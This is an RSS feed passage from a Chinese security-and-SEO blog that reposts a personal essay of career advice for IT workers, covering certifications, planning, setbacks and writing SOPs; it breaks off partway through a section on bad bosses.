<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="css/rss.xslt"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>si1ence'blog</title><link>http://www.si1ence.cn/</link><description>关注网络安全-武汉SEO</description><generator>RainbowSoft Studio Z-Blog 1.8 Walle Build 91204</generator><language>zh-CN</language><copyright>CopyRight @2002-2011 si1ence, Inc. All Rights Reserved.var _bdhmProtocol = ((&amp;quot;https:&amp;quot; == document.location.protocol) ? &amp;quot; https://&amp;quot; : &amp;quot; http://&amp;quot;);document.write(unescape(&amp;quot;%3Cscript src='&amp;quot; + _bdhmProtocol + &amp;quot;hm.baidu.com/h.js%3Fc1f7c602075971013315f5e32a45b887' type='text/javascript'%3E%3C/script%3E&amp;quot;)); 	document.getElementById(&amp;quot;bdshell_js&amp;quot;).src = &amp;quot;http://bdimg.share.baidu.com/static/js/shell_v2.js?t=&amp;quot; + new Date().getHours();</copyright><pubDate>Fri, 18 May 2012 18:34:50 +0800</pubDate><item><title>悲催的IT人生 需要指引</title><author>a@b.com (admin)</author><link>http://www.si1ence.cn/zawen/408/</link><pubDate>Fri, 18 May 2012 13:27:56 +0800</pubDate><guid>http://www.si1ence.cn/zawen/408/</guid><description><![CDATA[<p><span style="color: #008080">作者 冷板凳 原文链接： http://fancy0042425.blog.51cto.com/877322/843351</span></p><p><span style="color: #008080"><br />有个笑话：少壮不努力，长大搞IT。说明IT不好搞啊。</span></p><p><span style="color: #008080">前言，IT精英们，为什么你们的幸福指数这么低？</span></p><p><span style="color: #008080">笔者2003年大专毕业，一直从事IT行业，今年刚好9年，中间坎坎坷坷，历经风雨，痛苦很多，快乐也不少。</span></p><p><span style="color: #008080">因为笔者的同事（经常交往的）基本上都是以IT为主业，观察良久，发现一个问题：就是绝大多数的IT从业者，都是很年轻的人，这或许是我国的国情决定的吧：就现阶段来看，主力军是80后，后续主力军是90后的。就幸福指数来说，90后更快乐，80后逐渐开始痛苦了&mdash;&mdash;&mdash;因为一般80后从事IT行业已经接近8年了。人生能有几个8年？8年里，从懵懂无知，到稍微开点眼界，知识，然后就是盲目乐观，等过了8年，就突然开始冷汗直流了：我以前为什么得过且过，没有危机感？现在没有成就感（虽然做了很多的工程，做了很多的项目，帮老板赚了很多钱），只有危机感？</span></p><p><span style="color: #008080">第一部分：岁月不待人</span></p><p><span style="color: #008080">最近看到一个笑话：某大学打出巨大条幅：CS毁一生，网游穷三代；夜夜上自习，必成高富帅。初看，惹人笑，再看，令人心酸。多少的青年才俊就是毁在这些电子上面啊。游戏，最大的害人之处是：你在快乐的浪费时间，丝毫感觉不到浪费的危害。</span></p><p><span style="color: #008080">以笔者为例，2003年大学毕业时，学的计算机网络技术，那时和努力，可是方向都不对，连个CCNA都没有听说过，只考了一个国家计算机技术三级，自认为很有成就感（主要是同学们都只考了个2级）。可是出来以后，发现大家都不认国内的计算机等级认证，最低都要CCNA，两年之后，市场只认CCNP了。</span></p><p><span style="color: #008080">笔者今年32岁了，自学CCNP4年，居然还没有全过，真是难以见人。</span></p><p><span style="color: #008080">我现在的一个室友，89年的，刚刚来成都上班。他有着一般年轻人的优点，也有一般人的缺点。他每天下班回来，吃过饭，打开电脑，看电影。我总是跟他说：年轻人啊，你的时间耽误不起啊。他呵呵一笑，说：我也知道，就是管不住自己啊。</span></p><p><span style="color: #008080">多少年轻人啊，都是因为一句&ldquo;管不住自己&rdquo;，导致了多少可悲的后果！</span></p><p><span style="color: #008080">在 我国古代，圣人早就说过：修身齐家治国平天下；第一要素，就是修身，所谓内圣外王，不过如此吧。修身，要从年轻的时候就开始。读过《蒋JIESHI日记》 的人，会很惊讶这么一件事：他居然连自己做的那些见不得人的事都会写上去，而且白天做了错事，晚上会很深刻的反省！要知道，他作为一个地区的最高级领导 人，他写日记的目的绝不是为了给别人看，他写日记是为了给自己看的，给自己反省立下证据的。他那时在外界已经没有人能监督他个人了，他自己还要监督自己？ 为什么？因为欺骗自己不得啊，一个人或许能够上骗天，下骗地，中间骗空气，但是，他无论如何也骗不了自己！</span></p><p><span style="color: #008080">有心理学家早就得出结论，一个人，如果在25岁以前都不能学会思考，那么他很可能这一辈子都不能学会正确的思考了。所以工厂里招学徒工都不要年纪大的，除了出于薪水的考虑以外，更多的是因为25岁以后心理年龄差不多就定型了，基本上不具有可塑性。一张白纸，你可以在上面画出美丽的画来，一张涂抹过半的纸呢？基本上不能再作画了。</span></p><p><span style="color: #008080">流光容易把人抛，红了樱桃，绿了芭蕉；多少的IT少年啊，请珍惜时间，不要自我欺骗！尤其是众多的行业当中，尤以IT更新得最快，如果不想落伍，请实时更新自己的知识库。白发不随老人去，看看又上青年头，别辜负了少年头啊！</span></p><p><span style="color: #008080">再讲一个很重要的方面，那就是看准方向。</span></p><p><span style="color: #008080">基本上可以说，IT是一个很广泛的行业，大体上又可以分为四块：1，开发（以C#,J2EE为代表的），2，系统（不含开发，专门做维护的，以RHCE，MCITP为代表的），3，网络（不含系统和开发，以华为和思科做代表的），4，数据库（含数据库开发和维护，以DB2，ORACLE,MSSQL为代表的）。每一个领域都是博大精深的。每一个领域，只要你做好了，基本上都可以过上小康的生活，要是你浅尝辄止呢？那就只能顶多混个温饱吧。</span></p><p><span style="color: #008080">IT职场大忌：什么都会一点，什么都不精。虽然很多的招聘广告上写着：精通J2EE,ORACLE,Linux，CCNP优先的。你一定见到过这种招聘广告，我只能很悲哀的告诉你，除非是天才和神仙，不然想要这样样样都精通的，基本上是不可能的。你看到这样的广告也不用怕，其实他们想找的或许就是一个J2EE程序员而已，其他的都是参考值。</span></p><p><span style="color: #008080">所以，一个良心的建议就是，如果你想立志搞开发，那就死盯住开发不放，先通一门，再学其他的，绝对反对JAVA,C#齐头并进；如果你是搞网络的，不要妄想一边学习CCNP,一边学习MCITP，没用的，你去面试的时候，别人当然会看你的证书，但是，更重视你的能力。能力到了，证书可以没用，照用；能力不到，证书白考！我公司的原来的那个网管，进来的时候还是个CCNA，但是薪水高达20K，为什么？因为我公司需要一个能够保证7*24小时网络畅通的人，他能够！先前面试过好几个CCIE的人，居然连VRRP都没用做过，ASA防火墙都不曾配过，能顶事么？！</span></p><p><span style="color: #008080">有一次，一个年轻人问法拉第：请问您能告诉我您成功的秘诀么？</span></p><p><span style="color: #008080">法拉第问：你能让眼前的 阳光点燃一张纸么？年轻人说：不能！他就拿出一个放大镜来，放在阳光下，很快就点燃了一张纸！法拉第说：年轻人：把你的所有精力都集中到一点上去，你就能 成功啊！所以，搞开发的，你就一门头的先学好学精一门开发语言，然后再触类旁通的学点别的语言；搞网络管理的，你最好做个4年规划，4年CCNP,再四年拿个CCIE。做系统管理的也一样，万不可以今天玩玩windows，还没有弄懂AD是怎么回事呢，明天又听说搞LINUX的前途无量，就跑去搞LINUX玩，这样，最终恐怕会玩死自己。我有个很牛的同事，他以前在汤姆孙电子，汤姆逊电子集团里的所有DC服务器都是他部署的；后来来我公司4年，公司的系统管理也是井井有条；在我离开公司的前两个月，他被微软挖了过去，在深圳，做IT system管理的，能买房就很不错了，能进微软，那就少之又少了。他在进微软之前的两个月，自学了Redhat，随便就考过了RHCE，问他为什么那么轻松就过了，他说：天下大道相通啊&mdash;&mdash;&mdash;-windows和Redhat虽然完全是两个系统，但是，原理还是一样的，学到一定的程度，他们的技术都有很多相通呢。我忽然想起了武侠小说里的高手的境界：练到顶尖高手的境界，飞花摘叶，皆可伤人哪。我哥哥做VB10年，基本上没有摸过JAVA，居然在过年的时候抽空帮一个同学用JAVA写了个网站。</span></p><p><span style="color: #008080">看准方向之后，就是撞到南山不回头的干劲。不信，你随便问问你身边的那些搞IT搞得好的人：你的IT之路一直是一帆风顺的么？都很轻轻松松的过来的么？保证十个中有九个啐你一脸吐沫：老子的IT之路，头两年就是在地狱里混过来的！我上大学欠一屁股债，大学毕业时工作看来都不好找，又借债一万二去了一个培训公司培训JAVA，培训6个月，出来的工资才2000不到！2000不到的工资还死扛了2年，才有了今天！当年培训的时候，老子一周才能吃上一次肉&mdash;&mdash;肉包子里的肉！</span></p><p><span style="color: #008080">年轻人，谁没有炼狱的时 候？！中国人都太聪明了，特别喜欢耍小聪明，要知道，既然是小聪明，大家都知道的小道道，难道只有你会耍？你今天不肯努力，尽是耍小聪明，将来必定有一天 被小聪明给耍了！不经过炼狱一般的痛苦，怎么能理解幸福是什么意义？不挺过炼狱的痛苦，如何变得深沉？深沉点吧，不要做个浮躁的人。你总以为，在寻找知识 的路上，总有捷径可走，其实，捷径就是拿汗水浇灌出来的鲜花啊。学到的东西，都是自己的，别人是帮不了你的忙。这就像悟道，别人是替不了你的！</span></p><p><span style="color: #008080">我老家有句话：六月不热，五谷不结！而在最热的六月里，我们最是需要拼命的劳动。</span></p><p><span style="color: #008080">第二部分：好的规划，是成功的一般<br />有人说：好的开始，是成功的一半；古人又说：凡事预则立，不预则废！我们做一件事，必须事先有个好的规划，越详细越好，然后就是看执行力了。记得IT届大 佬郭台铭说过：走出实验室，没有高科技，只有执行的纪律！这里其实隐藏了一条，那就是你的规划得很好，得立足现实，面向未来。就拿刚刚毕业的大学生来说， 要是专科的规划如下：1，1年通过本科自考，2年拿下研究生考试&hellip;&hellip;&hellip;.那我只好说，这是痴人说梦！你也不想想，要是自己真的有这么好的资质，这么能考 试，当初干嘛考个普通的大专呢，而不是北大清华呢？你要是做出如下的规划：1，毕业4年内坚持自考，拿到本科文凭，再4年，拿到NP认证。那我要告诉你： 你的规划很好，但是，似乎可以换一个顺序：1，先 在头一个4年内拿到NP认证（这个是切实可行的），然后在第二四年内再考个本科自考文凭（其实第二个四年规划应该第一个四年计划执行完毕之后再考虑，因为 计划没有变化快，如果你的第一个四年计划执行得好，说不定第二个四年你可以直接考个研究生了，本科是可以跳过去的）。</span></p><p><span style="color: #008080">本人在这方面，是个失败的典型，不怕丢丑，说出来，给大家做个反面教材，不至于让更多相同机遇的人走同一条失败的路，浪费更多的社会资源。本人在2003 年毕业参加工作后，即着手准备参加自考&mdash;&mdash;&mdash;中山大学计算机网络专业独立自考本科段。由于本人资质驽钝，所以自考进行得很慢。每年都报了三次 名，每次都报两科，结果是：每次都过一科！&mdash;&mdash;&mdash;-第一次过了两科，其中一门是英语（这里要说的是，本人一直坚持学习英语，没有别的方法，就 是坚持晨读，从来不曾落下，所以英语一直很好，早就能拿英语当工作语言使用了，似乎这一点可以安慰一下 自己）。照此下去，如果不出意外的话，本来自考应该是可以在2008年完成了。</span></p><p><span style="color: #008080">第三部分：板凳要坐十年冷<br />可是，意外还是出现了！我四年里在深圳的时候，一直是做基层的IT HELPDESK，毕竟是制造业工厂，所以薪水一直是低得惊人，进去后，基本上是没有怎么涨过薪水（后来总结了一下，大约总共涨了500块，平均每两年涨250）。</span></p><p><span style="color: #008080">做满两年之后，我开始谈朋友了，毕竟嘛，人都24岁了，也该到了思春的年纪了。我本人又活泼好动，广交广结&mdash;&mdash;&mdash;做IT helpdesk的，不广交广结不行啊&mdash;&mdash;&mdash;-毕竟要为那么多的人服务，你不去找他们，他们也会找上你的。所以，那时我对什么都感兴趣，当然 了，对女孩子更感兴趣了。同时，因为我还兼职中央人资下辖的读者俱乐部的活动部委员，专门负责每月一次的大型户外活动，所以我认识了好多的PPMM,（当 然还有好多的帅哥&mdash;-作为同性相斥的原则，本处略去对帅哥的关注），&ldquo;乱花渐欲迷人眼&rdquo;，近水楼台先得月，谈了一个又一个，可是感情来得快也都去得快 &mdash;&mdash;&mdash;-毕竟这是一个很现实的社会，我在组织外出的游山玩水之中所扮演的角色，所散发出来的光环，很快就被轻薄的工资单给戳穿了。</span></p><p><span style="color: #008080">厂里的美女们都一个个的目光如炬，快的一周，慢的两个月，都把我给看穿了。经过多次打击之后，我终于愤怒了，这一切都是我的低薪惹得祸啊！古人说：愤怒，会让人失去理智，这是真的！</span></p><p><span style="color: #008080">周六不再加班了，不再学习了，而是去了人才市场，美其名曰：寻找动力！当然，这一切，都是背着老板做的，不然，估计早就开除了（我后来想想，其实老板只是装作不知道而已&mdash;&mdash;&mdash;&ndash;那么低的薪水，谁不想跳槽啊）。</span></p><p><span style="color: #008080">深圳人才大市场，就是一把大火，经常把人的理智烧成一片灰烬！</span></p><p><span style="color: #008080">记得有次应聘一个系统管理员的职位，对方问：会组策略吗？我一愣，反问了一句：什么是组策略啊？！（题外话，现在当然不同了，要是有人问：会组策略吗？我 会说：勉强算精通吧&mdash;&mdash;&ndash;真的，人只有真的会了，才知道自己原来是如此的浅薄，当然，不要看到这句话而妄自菲薄啊！）回来学习组策略，把自考的 事先放下！又有人问：会CCNA吗？啊？什么是CCNA啊？哦，把自考的事放下，学习CCNA！再过一个月，哇塞，整个人才市场都在招J2EE的程序员， 立刻报名参加一个野鸡培训班，学习J2EE，花了我半年的积蓄。顺便说一句：当年我有个教我们的老师叫张国栋，还有我的一个同学曹志斌，你们都在哪里呢？ 都好吗？要是看到这篇博客，请跟我联系啊。毕竟，我们当年一起在深圳人才大市场背后的一个民房里学习了8个月的J2EE。</span></p><p><span style="color: #008080">我的努力终于有了回报，HELPDESK部里的LOTUS开发大师范泳决定开门收徒，只接受邀请，不接受申请。他看中了我，于是，我成了他的第一个大徒弟。部长老李提出条件：要两年不走的。我说好吧。</span></p><p><span style="color: #008080">本来我也没有打算走的&mdash;&mdash;-我非常珍惜这个机会，要知道在很多的地方，IT support人员基本上是不可能转为开发的。可是，公司的一些人事斗争，居然在这个节骨眼上逼走了我的一个准女朋友&mdash;&mdash;&mdash;之所以说是我的准 女朋友，是因为她没有明确答应做我女友，只是还是处于那种答应与不答应之间的状态，似乎我一努力，她就要答应了；她走的时候，泪珠儿颗颗像断线的珍珠，滴 在厂东门外面的美人蕉上，我还记得，她说：&ldquo;你别做IT了，这个没有出息，我们交往这么久，我为什么不答应你？还不是因为你这个岗位根本就不可能保证我们 的未来？！我要回老家去了，你要是有心，来看我吧，别太迟，太迟了，就晚了！&rdquo;天地良心，哪个热血男人能受得了心爱的MM哭成这样？！她挥一挥手，不带走 一片云彩，回了美丽的江南，苏州，剩下的，都是我的思念！</span></p><p><span style="color: #008080">午夜梦回之际，我总在想：我一草根，得佳人以青眼，不能让她太过于悲伤。终于，一昏头，得罪了当初对我青眼有加的李部长，辞职去了苏州（在此，要对李部长 说声对不起了，我当年年少气盛，辜负了您的厚爱，也让您在协理面前抬不起头来）。原以为我这冲冠一怒，以为红颜，她会很高兴的，可是，世态炎凉再次重演， 等我去了苏州以后，她说：你在苏州有工作吗？我说：没有，只有你！她说：没有工作，那也没有我！心在一刹那，真的碎了！然后呢？很多人问，没有然后，我在 苏州无依无靠，漂泊7天，身心俱疲，又回了深圳。年底，她出嫁，我没有得到任何消息，第二年7月，她生了个女儿，告诉我说：你侄女儿真可爱啊。&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></p><p><span style="color: #008080">91ri.org:上面两句话是原文没有加粗加红 这里我加一下 因为我遇到了类似的问题 我相信很多搞IT的朋友在日子中也有可能遇到 。 但是我想说的是 当你在考虑着结婚的时候先想你是否有资本 一怒冲冠为红颜 百分90是文中的后果 ， 同时我表示我的结果与文中的一样 所以我感慨良多啊。</span></p><p><span style="color: #008080">或许有人说：你真是的，不是说要总结&ldquo;板凳要坐十年冷的&rdquo;道理么？怎么写个人的一些糗事？是的，我只是想告诉你，绝大多数痴男怨女们，在这个社会，你首先 要安身立命，你要坐得住冷板凳，要有个工作，有个核心的擅长的领域（HELPDESK不算领域），如果是搞IT的，会更加艰难&mdash;&mdash;&mdash;&ndash;因为 你要在十年黄金岁月里，赚足别人40年才能赚回来的钱，所以你的青春耽误不起，更不要轻言为红颜做出大的牺牲，别人可能不需要&mdash;&mdash;&mdash;-特别 是，即使你做出巨大的牺牲之后，不能丝毫改善对方的生存状态，不能大幅度改善彼此的生活质量的情况下，请不要做出太大的牺牲&mdash;&mdash;&mdash;&ndash;也就是 说，不要做出无意思的牺牲。</span></p><p><span style="color: #008080">否则，你就会像我一样，糗大了！</span></p><p><span style="color: #008080">第四部分：出了问题，首先从自己身上找原因<br />中国人似乎从小就有个毛病。小时候走路摔倒了，父母会假装打土地，说：都怪这条路不好，害得宝宝摔跤了。长大了以后，出了任何问题，都会从别人身上找原 因，这真是国人的一大悲哀啊。可是更为严重的问题是:很多人从此对自己的人生都不负责了，只要出了问题，都会说：这不是我的问题，这是XXX的问题！诚 然，有些时候的确是这样的，但是，你真的没有问题么？其实，仔细想一想，我们或多或少都是要负责一些的。</span></p><p><span style="color: #008080">就拿我自己来说，工作内容中有一项是日常工作中项目的数据备份。我为人还算谨慎的，每天上班来的第一件事，就是打开电脑，远程过去看看，是否昨晚备份成功 了？然后做个报告给老板：昨晚做了备份，备份了哪些东西，多大？备份的源和目的各在哪里？老板从来没有检查。上个月他突然想起来了，就检查了一下，大的问 题没有，就是太凌乱了。他说：为什么你要每一个目录都备份一下呢？难道不能一次全部都备份了么？我一下子傻在那儿了。他一数我写得备份脚本，28个！老板 苦笑不已：说你没努力吧，写了那么多的脚本，说你努力了吧，却做得不完美！&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 我后来仔细检讨这件事，发现：如果我第一次写好脚本，运行后，就请他看看，是否不用这么尴尬？记得还在读高中的时候，有一次放月假的早晨，大家很吵闹，班 主任很生气，就把大家给留学了，然后说：大家把三个吵得最厉害的同学选出来，否则，都不准备回去！大家没办法，就投票选举，我的同桌中奖了！我知道他是被 冤枉的，因为一个早晨，他都在规规矩矩的读书呢，根本就没有吵闹啊。可是他为什么被选中了呢？因为他平时很顽皮的，在大家的映像中，那天肯定是吵闹了！</span></p><p><span style="color: #008080">所以，有一天你被人误会了，你一定仔细想想，可能是你平时这种事情做多了，所以别人才会误会你了吧？</span></p><p><span style="color: #008080">笔者本身还有一个惨痛的教训，至今不忘。</span></p><p><span style="color: #008080">当年高考的时候，我考了497（原始分），照说这个分是上不了大本的，当年差了7分。但是，凡事都有意外。我班的另外几个同学，分数都比我少点，报了襄樊 学院，居然都被录取了，而且都是本科。因为当年我不知道，一门心思的认为：这个分数只能读专科，所以错过了&mdash;&mdash;这一错过，不知道什么时候才能弥 补。如果我当初稍微多多询问一下，不就也可以上个本科么？</span></p><p><span style="color: #008080">所以说：性格就是命运，思路决定出路。</span></p><p><span style="color: #008080">当然，不是说命运不可改变，性格不可以改变。性格也可以改的。经过多年的打磨，我早就知道，这个世界上，办事的方法远远不止一种。每当我陷入了一种困境的时候，我都会想，是否真的只有这么一种方式方法？是否我的思路错了？</span></p><p><span style="color: #008080">我知道：成功一定有方法！</span></p><p><span style="color: #008080">第五部分，及时当勉励<br />做IT的，其实很多人是吃青春饭的&mdash;&mdash;-当然，在国外是不一样的。如今的码农，越来越多。大家可以想一想，每年都有几百万的大学生毕业，每年大约 要毕业100W的程序员。从成本的角度来考虑，做程序员的，做IT系统运维的，其实都很容易被人取代&mdash;&mdash;&mdash;-谁是不能被取代的呢？将来，我们 有一天要被人取代的时候，一定是有原因的，要么，你的精力不如他了，他比你年轻，要么，你比他贵了，要不&hellip;&hellip;..</span></p><p><span style="color: #008080">你可能会说：我到时候做了几年之后，就做到PM位置上去了，怎么会有这种危机呢？当然，你完全有可能是会做到PM的位置上，但是，别忘了，从概率的角度来 讲，你做不上的可能性更大。你想，几百万的人员中，才能升多少PM啊？其他的那么多的码农干什么去了？一部分转行了，另一部分呢？</span></p><p><span style="color: #008080">如今，我做了9年的IT，或许因为资质驽钝吧，每到夜深人静的时候，都有很严重的危机感，才刚刚学会了思考而已，也似乎刚刚入了门而已。</span></p><p><span style="color: #008080">我知道，前途依然艰险无比，情况依旧不容乐观，但是，至少我有了方向，有了目标，不至于随波逐流，不至于走到我不想去的地方。</span></p><p><span style="color: #008080">IT小技巧：多写SOP</span></p><p><span style="color: #008080">佛教禅宗有句很有名的话：教外别传，不立文字，以心传心。可是，搞IT的决不能这么做，为什么？请先看本人的巨大痛苦。</span></p><p><span style="color: #008080">本人刚进公司时候，项目组做如下分工：A负责写server引擎，B负责写后台数据库，称之为INI，我负责系统架构的设计，以及发布新的版本到互联网上 去。第一次发布的时候，是A口头教我怎么发布server引擎，要注意哪些事情；B口头教我怎么发布ini，以及如何修改配置参数。幸好我还是老手，知道 口头讲的很不算数，就把他们讲的给写了下来，但是不是很全面，我发布一次之后，问他们：以后应该不会大变吧？基本上都是这么发布的吧？AB都说：基本上不 会大变的，要是有变化，我会告诉你的。</span></p><p><span style="color: #008080">痛苦从此开始。因为A写的引擎是基于Ruby+Passenger+Redis+Postgres+Nginx架构的，第一次发布之后，每次再发布版本的 时候，Ruby和Nginx一般都会升一次级，我每次都要发布新的基础架构，差不多算是每次都要把server重装一次，这个工作量是可想而知的。第一次 发布，费了大约三个小时。发布完成之后，老板说：怎么发布一个第一个版本都这么慢呢？以后要快点。然后问我：你以后多久能发布一个新版呢？我说：三个小时 吧。老板说：&ldquo;太慢，以后一定要在两个小时之内发布完毕。发布新版是你的重要职责之一，你要多多练习。&rdquo;更要命的是，AB发布的新版中每次都需要安装新的 插件，每一个新版发布之后，光新的插件都要装三个以上。或许你会说：三个插件多吗？才三个而已；可是，你哪里知道，我之所以决定要安装三个插件，是因为发 布完成之后，发现网站不能运行，一排错，哦，少一个插件，安装一个；再测试，有报了一个错，哦，又少一个插件，再装一个，最多的时候，一个通宵，居然安装 了17个插件，理所当然的被老板骂了：速度太慢了。</span></p><p><span style="color: #008080">问题来了：为什么跟上一次版本相比，每次都要要多装那么多的插件呢？A说，产品经理需要多加几个功能，当然要多几个插件来支持；既然要多装几个插件，为什 么你不提前通知我呢？每次我都要在发布之后做测试才知道要安装哪几个插件？这样浪费很多时间啊。这个我也不知道啊，因为我只负责写引擎，引擎在我的本地机 上跑的时候，我太忙，没有记录要多安装哪几个插件，而且，即使记录了，也未必准确啊，还是你在生产服务器上发布完了之后做测试，根据需要来安装插件比较准 确。可是，你知道吗？因为你的引擎每次都要多装几个插件，我每次都被老板骂，说发布新版本都太慢了。A说：那是你的事啊！</span></p><p><span style="color: #008080">好一句那是你的事！这时候，我才发现，当初没有问他要一个标准的发布流程标准操作（SOP）是多么的大的失误。</span></p><p><span style="color: #008080">下一次在项目例会上，我大声疾呼，必须要一个引擎发布SOP。老板问起，我如实说明，老板由是要求AB各写一个发布自己的引擎的SOP，给他看。没想到老 板看后雷霆大怒：&ldquo;我四个月来一直责怪他发布速度太慢，今天才知道责怪错他了！你们自己写的SOP都这么复杂，还写不清楚，难道不能把发版流程简化一下 吗？就没有更好的办法么？明天发版的时候通知我，我要看看你们自己发版要多久？&rdquo;第二天发版，A用了7个小时，B用了13个小时，老板怪下来，他们都说自 己平时没有发布过新版，自己不熟。经过几次讨论，终于有了新的办法，那就是用脚本发布，AB各自写了自己的比较完整的SOP，效率大有改善。老板还说，如 果我按照SOP来发布，有问题，就是他们的SOP写得不好。AB一紧张，都有了好办法，那就是用bundle install 的办法，把多个配置文件合成一个，每次发布完毕，只需要配置一个文件，整个网站就发布好了。</span></p><p><span style="color: #008080">这是最近的一个案例，所以非常深刻。</span></p><p><span style="color: #008080">以前我在工厂里做IT的时候，工厂里就特别强调SOP：一个电路板来了，一个人只做一道工序，比如上一颗大的电容（小的都用SMT机器贴上了），SOP上 写着左手拇指和食指拿电容，你就不能用食指和中指拿电容。我刚进IT部门的时候，协理在IT大会上就讲：&ldquo;新人没有教好，是熟手的责任，熟手带新人，必须 写SOP，没有SOP的，不准带新人！&rdquo;可见SOP 的重要性。</span></p><p><span style="color: #008080">后来我成为熟手，我带新人的时候，自觉写好SOP，每当新人出错的时候，我第一句话是问：你按照我写的SOP来做了么？他要是说按照做了，那责任就在我身上，如果没有，那责任就在他身上。</span></p><p><span style="color: #008080">更何况，SOP还有笔记的作用,有梳理知识体系的作用呢。再怎么好记性的脑袋也没有笔头好啊。自觉养成写SOP的好习惯，可以说，对搞IT 的人来说，受益无穷。</span></p><p><span style="color: #008080">第六部分：一切正面思维<br />什么叫做正面思维？正面思维是人在处理任何事情时都能以积极、主动、乐观的态度去思考和行动，并促使事物朝着有利的方向转化。正面思维会使人在逆境中更加 坚强，在顺境中脱颖 而出，变不利为有利，从优秀到卓越。从认知上改变命运，是事业成功和实现自我的有效途径，它的本质是发挥人的主观能动性，挖掘潜力，体现人的创造性和价 值。</span></p><p><span style="color: #008080">人的思想，大脑，其实是很神奇的一个阵地，这里，可以产生世界上最高尚最积极最神圣的思想，也可以产生世界上最低级最消极最龌龊的思想。</span></p><p><span style="color: #008080">最简单的例子，你在公司里不违背良心的做人做事，却得罪了老板，被他找个借口开除了，你怎么办呢？这种情况，很多人都能碰上。你是去劳动局告他？去找律 师？去请黑社会的报复他？这些都是消极思维，对你来讲，没有丝毫的好处；比较正面的思维是：把这件事忘了&mdash;&mdash;&mdash;人在适当的时候懂得遗忘，是一 件很艺术的事。你重新去找一个工作，好好做。面试的时候，多问几个问题，多了解你的准老板，对于那些不靠谱的，不要轻易接受工作。</span></p><p><span style="color: #008080">所谓&ldquo;吃一堑，长一智&rdquo;，才是正面的思维，积极的做法。况且，塞翁失马焉知非福？说不定你找到一家好的公司，碰上一个好老板，薪水比前一家高了一半，这种事情也是常有的。</span></p><p><span style="color: #008080">但是，人跟人相处是很微妙的事情，因为&ldquo;物以类聚人以群分&rdquo;，你是什么样的人，你在什么样的环境里得心应手，左右逢源，你又在什么样的环境里左支右绌，动辄得咎，关键是看你自己是什么样的人，碰上什么样的环境。</span></p><p><span style="color: #008080">人的一生，顺境常常占十之一二，逆境也不少，有些人多点顺境，有些人多点逆境，这个原本就没有定论的东西&mdash;&mdash;-由此可见，上帝也不是很公平的。不过，上帝有自己的打算盘，他要把一块外表灰头土脸的破铁打造成一把光芒耀眼的宝剑，能不下点猛火么？!</span></p><p><span style="color: #008080">正面思维的&ldquo;正面&rdquo;，实际上有三个方面的含义。 　　第一，自己的正面：所谓&ldquo;自知者明&rdquo;，看清自己的优势和潜力，充满必胜的信念，这样，就不会稍遇挫折就轻言放弃，从而做到持之以恒，直到成功。 　第二，别人的正面：看到别人的正面，见贤而思齐，就能从别人身上学到更多东西，也更能赢得别人的好感和尊重，从而拓宽自己成长的道路。 第三，环境的正面：上帝为你关上一扇门，必然会为你打开一扇窗。不管我们处于什么样的环境之中，一定要看到光明的一面，保持乐观的心态。第四，人在顺境的 时候，不要妄自尊大，人在逆境的时候，也不要妄自菲薄。你要知道，你处于逆境，别人的日子也不好过啊，大家都一样，你干嘛这么悲观？你或许会说：你不知道 啊，我女儿才三个月，我就被黑心老板给解聘了，我要是一人就好说了，可是我却是有家要养啊，我能不悲观么？兄弟，请问，第一，悲观的情绪有用么？它能帮你 重新找到一份工作么？不能吧？甚至，悲观还是一种可怕的病毒，它会不知不觉得掏空你的能量，让你看低自己，看清自己，使自己的形象更加猥琐，你更难以崛 起！事已至此，悲观无益，节哀顺变吧，你该重整旗鼓，才不至于一蹶不振啊；人的一生当众，谁能没有个三长两短的呢？你毕竟还有命在，还有健康的身体，一身 的绝学；你打开报纸看看，每天都发生多少车祸，天灾，人祸啊，照你这么说，他们还活不活呢？！</span></p><p><span style="color: #008080">至于你在顺境的时候，也请不要妄自尊大，过于嚣张&mdash;&mdash;&mdash;&mdash;你要知道，你能有今天，不全是自己的功劳，所谓一将功成万骨枯啊。你能够 升职加薪，那是多少人的共同努力&mdash;&mdash;&mdash;&ndash;停停停！你说什么？我升职加薪跟别人有个毛的关系啊？谁为我努力过？他们恨不得升职加薪的是他们自 己呢，他们甚至还在背地里使绊子进谗言呢。别激动，new man,你要知道，你这个公司能赚大钱，是市场部在前面拼命侦查，销售部的同仁们每天都磨破了脚掌，而HR等后勤部的同事们则为了招几个精兵强将，说了多 少好话啊。你再看看历史上那些高人们，哪个不是功成不居？谦虚待人的？即使那样的人，也难免得罪很多人呢；再看看那些飞扬跋扈的将军，典型的的如年羹尧 等，事例还少么？我不是教你装B，我是要你明白，真的是满招损，谦受益啊。更何况，不全是你个人的功劳，你那么得瑟干嘛呢？你要知道，你的老板为了把你升 上去，在高层老板面前为你说了多少好话？而你这么的不识时务，处处表现得跟你现在的职位不相称，叫他怎么在大老板面前抬得起头来？而你的嚣张，又会得罪多 少人啊？你要真的识相，那就足够低调，你要明白，老板今天能给你的一切，明天就能剥夺这一切！</span></p><p><span style="color: #008080">&nbsp;第七部分：遇上烂老板了怎么办？<br />&mdash;&mdash;&mdash;世界如此险恶，我们要内心强大！</span></p><p><span style="color: #008080">人有悲欢离合，月有阴晴圆缺，此事古难全！无论我们自己多么的努力，或者多么的优秀，都不能保证我们不会遇上烂人做同事，更不能保证不会遇上烂人做老板。很多的事情我们自己不能控制。有句话说：不怕神一样的对手，就怕猪一样的队友。这话太对了！</span></p><p><span style="color: #008080">看了这一节的题目，你是否很奇怪，您不是说：遇事首先要从自己身上找原因么？怎么老板有问题了？大家要知道，既然世界上事实是存在很多的烂人的（包括你 我，都在一定的程度上有些烂或者很烂的），那么，总有一些烂人，带着他的那些烂品质坐上了经理的宝座，很不幸，你我就是他的下属。烂老板一般有如此特征：</span></p><p><span style="color: #008080">1，做事没有规划：他就是这个项目的项目经理，开发一个手机终端应用程序，作为一个老程序员（做了8年开发），他出身煊赫（名牌重点大学毕业），履历耀眼 